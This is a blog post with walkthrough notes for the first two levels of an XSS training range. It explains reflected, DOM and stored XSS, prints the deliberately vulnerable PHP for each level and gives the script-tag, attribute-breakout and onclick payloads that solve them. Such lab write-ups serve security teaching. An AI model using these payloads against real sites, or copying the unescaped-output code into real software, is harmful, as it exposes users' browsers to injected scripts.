XSS跨站攻击靶场-通关笔记

XSS攻击是Web攻击中最常见的攻击手法之一,XSS中文名跨站脚本攻击,该攻击是指攻击者在网页中嵌入恶意的客户端脚本,通常是使用JS编写的恶意代码,当正常用户访问被嵌入代码的页面时,恶意代码将会在用户的浏览器上执行,所以XSS攻击主要时针对客户端的攻击手法。

当下常见的 XSS 攻击有三种:反射型、DOM型、存储型。 其中反射型、DOM型可以归类为非持久型 XSS 攻击,存储型归类为持久型 XSS 攻击。

第一关

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

payload : lyshark.com/level1.php?name= <script>alert('hello');</script>

第二关

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

首先确定输入后的内容,在哪里显示出来了。

发现能够闭合

|"><script>alert('xss');</script>| <input name=keyword value=""><script>alert('xss');</script>">|
|"onclick="window.alert() | <input name=keyword value=""onclick="window.alert()">|

posted @ 2019-08-10 10:11  lyshark  阅读(1782)  评论(0编辑  收藏  举报

loading... | loading...
博客园 - 开发者的网上家园